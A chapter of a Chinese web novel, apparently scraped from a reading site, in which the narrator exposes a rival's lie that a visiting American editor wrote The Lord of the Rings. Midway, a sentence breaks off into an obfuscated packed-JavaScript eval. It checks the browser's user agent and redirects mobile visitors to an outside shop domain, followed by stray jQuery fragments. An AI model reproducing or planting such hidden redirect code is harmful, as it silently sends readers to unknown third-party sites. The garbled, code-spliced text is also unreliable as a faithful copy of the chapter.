第118章 皮特先生让你滚
    “原来是抱上了洋大人的大腿。”

    何玉衡呵呵一笑:“既然你觉得莓国遍地是黄金,那就去嘛……什么时候上飞机?我好买挂鞭炮放一放。”

    “怎么着,帮我庆祝?”

    “是庆祝,但庆祝的是我们国内少了一个祸害、败类!”

    “你……”

    “怎么着?”

    “哼!我什么时候去莓国,用得着你管?”

    林志军说道:“皮特先生还得在国内玩一段日子,寻找灵感呢!知道人家是干什么的吗?编辑!作家!大作家!人家在莓国写的书,卖得可好了!”

    “作家怎么了?”

    程立源撇撇嘴:“何总也是作家呢,写的书已经卖出去好几十万本了!这个皮特的书,叫什么名字?卖了多少本?”

    他已经看出了林志军和何玉衡不对付,于是果断地和何玉衡站在了统一战线上。

    “呸!”

    林志军啐了口唾沫,引得身边的皮特微微皱眉。

    他自己却没有注意皮特的表情变化,而是嘲讽道:“卖出去几十万本了?你怎么不说几百万、几千万本?

    就他这个熊样,还作家呢!

    哎,我说,你是干嘛的?

    捧臭脚的是不是?

    觉得他有几个钱,就上赶着溜须拍马讨好他,想让他给你几个钱花花?”

    “你这人真是没素质!”

    程立源怒声道:“何总明明就是作家!那本畅销的《奋斗》,就是他写的!”

    “什么奋斗拼搏的,一听就没什么意思!”

    林志军撇嘴道:“这是写小说呢,还是开大会、喊口号呢?

    喜欢喊口号的话,可以来我们厂里上班。什么努力拼搏、刻苦奋斗,我们厂里每周开大会都会喊!

    真是的,不知道写了本什么破书,就出来显摆。

    你们知道皮特先生写的是什么吗?

    幻想小说!fantasy!

    知道什么叫幻想小说吗,和科幻小说可不一样,精彩着呢!

    一群土老帽,解释给你们听,估计你们也不明白……”

    “……”

    程立源愣了愣。

    他还真没听说过什么幻想小说,什么fantasy。

    估计是国外的小说类型。

    “傻了吧?”

    林志军洋洋得意道:“一群土包子,眼界就芝麻绿豆那么大一点点,也敢大喊大叫,真是不知天高地厚……”

    “那么……”

    何玉衡笑问道:“这位皮特先生,写的幻想小说,叫什么名字呢?”

    林志军口中的幻想小说,应该就是后来被大家称作奇幻小说、奇幻文学的小说类型。

    现如今,这种类型的小说,几乎还没有流传到华语文学内,所以还没有一个统一的称呼。

    要到1992年,湾岛那边一位姓朱的人,在某个杂志中开创这种小说的专栏时,将fantasy一词翻译为奇幻,并将专栏命名为“奇幻图书馆”,随后,这个名词才逐渐固定流传开来。

    所以,现如今,林志军把fantasy直接翻译成幻想小说,倒也没什么不对。

    只不过。

    他好奇的是。

    他前世就是个奇幻文学的爱好者,看了不少奇幻书籍,国内国外的都有。

    几部经典著作,他都是看过好多遍的。

    即便没有那么经典,只是比较有名气的奇幻文学作品,他也看过。

    对于那些作家,也有所了解。

    但印象中,应该没有这个年龄,而且名字叫皮特的作家。

    “竟然还问我叫什么名字,难道我告诉你,你就看过吗?”

    林志军撇撇嘴,道:“thelordofthergs!知道什么意思吗!听得懂吗!”

    “你说什么?”

    何玉衡忍不住乐了,笑问道:“皮特先生告诉你,这本书是他写的?还是你自己说的?”

    “当然是皮特先生告诉我的!”

    林志军冷笑道:“你懂不懂英语?能不能听懂这几个单词是什么意思啊?”

    “thelordofthergs……”

    姜雨嘉嘀咕道:“戒指的上帝?”

    她是懂一些英文的,倒是可以听得懂这几个单词。

    可是这个名字,怪怪的。

    “翻译成《指环王》,应该比较合适。”

    何玉衡笑了笑,问林志军:“所以说,皮特先生的名字又叫约翰·罗纳德·瑞尔·托尔金?”

    “什么托尔金,皮特先生的名字叫布拉德·皮特!”

    林志军一脸嫌弃道:“行了行了,你别东拉西扯了,土包子一个,什么都不懂,还作家呢……”

    “皮特先生。”

    此时,何玉衡看向林志军旁边一脸茫然的皮特,直接用英语问道:“据我所知,《指环王》的作者应该是嘤国的约翰·罗纳德·瑞尔·托尔金先生吧?”

    他的英语当然也算不上标准。

    但相比林志军来说,要好得多。

    虽然有口音,但不太明显,而且更加流畅。

    这一开口,顿时令在场几人全都面露惊讶之

    色。

    就连姜雨嘉的美眸都泛起诧异之色。

    她还从来不知道,何玉衡的英语说的这么好呢。

    林志军更是震惊地瞪大了双眼,怔怔道:“你……

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14255530|151581||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ”

    相比他们而言,皮特的表情则先是有些惊讶,继而诧异道:“没错,就是约翰·罗纳德·瑞尔·托尔金先生啊……先生,你的英语说得很好,是我这几天所接触到的人里,英语最好的一个人了。”

    “谢谢。”

    何玉衡笑着指了指林志军:“可是他刚才告诉我,你才是《指环王》的作者。”

    “胡说八道!”

    皮特瞬间面色一变,愤怒地看向林志军,呵斥道:“我说你刚才怎么一直在提我的名字,难道就是在编造这样的谎言吗?”

    “皮特先生。”

    林志军尴尬地涨红了脸,结结巴巴道:“我……我……”

    “他还说,你要带他去莓国发展事业。”

    何玉衡说道:“他说你会支持他的。”

    “更是谎话!”

    皮特气愤道:“我今天才刚刚认识他,是我父亲所在的公司,派他带我来这里游玩。

    一路上,我们除了人文风景之外,只是随便聊了聊一点个人情况!

    我告诉他,我是霉国的一名出版社编辑,同时也正在写作奇幻小说!

    我只是说,《指环王》在莓国,是由我们出版社出版的。

    什么时候说,我是《指环王》的作者了?”

    他转头盯着林志军,怒气冲冲道:“林,我是那么对你说的吗?

    我说过自己是《指环王》的作者吗?我说要带你去莓国了吗?

    我看出来了,你和他们之间有矛盾,所以故意编造这样的谎话!

    可是你这么做,考虑过我的声誉吗?

    你是个不诚实、不友好的人!

    我不喜欢你!

    请你离开这里!

    我用不着你陪着我!”

    这劈头盖脸一顿骂。

    使得林志军面色发白。

    一时间懵住了。

    一方面是因为害怕。

    皮特可是他们莓国投资方股东的儿子,惹恼了他,别说是自己,就算是自己父亲,可能都要跟着倒霉。

    另一方面则是因为。

    没听懂。

    他是懂些英语。

    尤其自从企业合资后,他还在父亲的强迫下,特意练习过听力和口语。

    但即便如此,他也是二把刀的水平。

    先前和皮特聊天的时候,皮特考虑到他的英文水平不好,会贴心地放慢语速。

    他还能勉强理解皮特的意思。

    但此时,皮特满腔愤怒,语速飞快。

    他的耳朵和脑子完全跟不上!

    不知道皮特具体在说些什么!

    还好,有何玉衡贴心地翻译:“皮特先生让你滚。”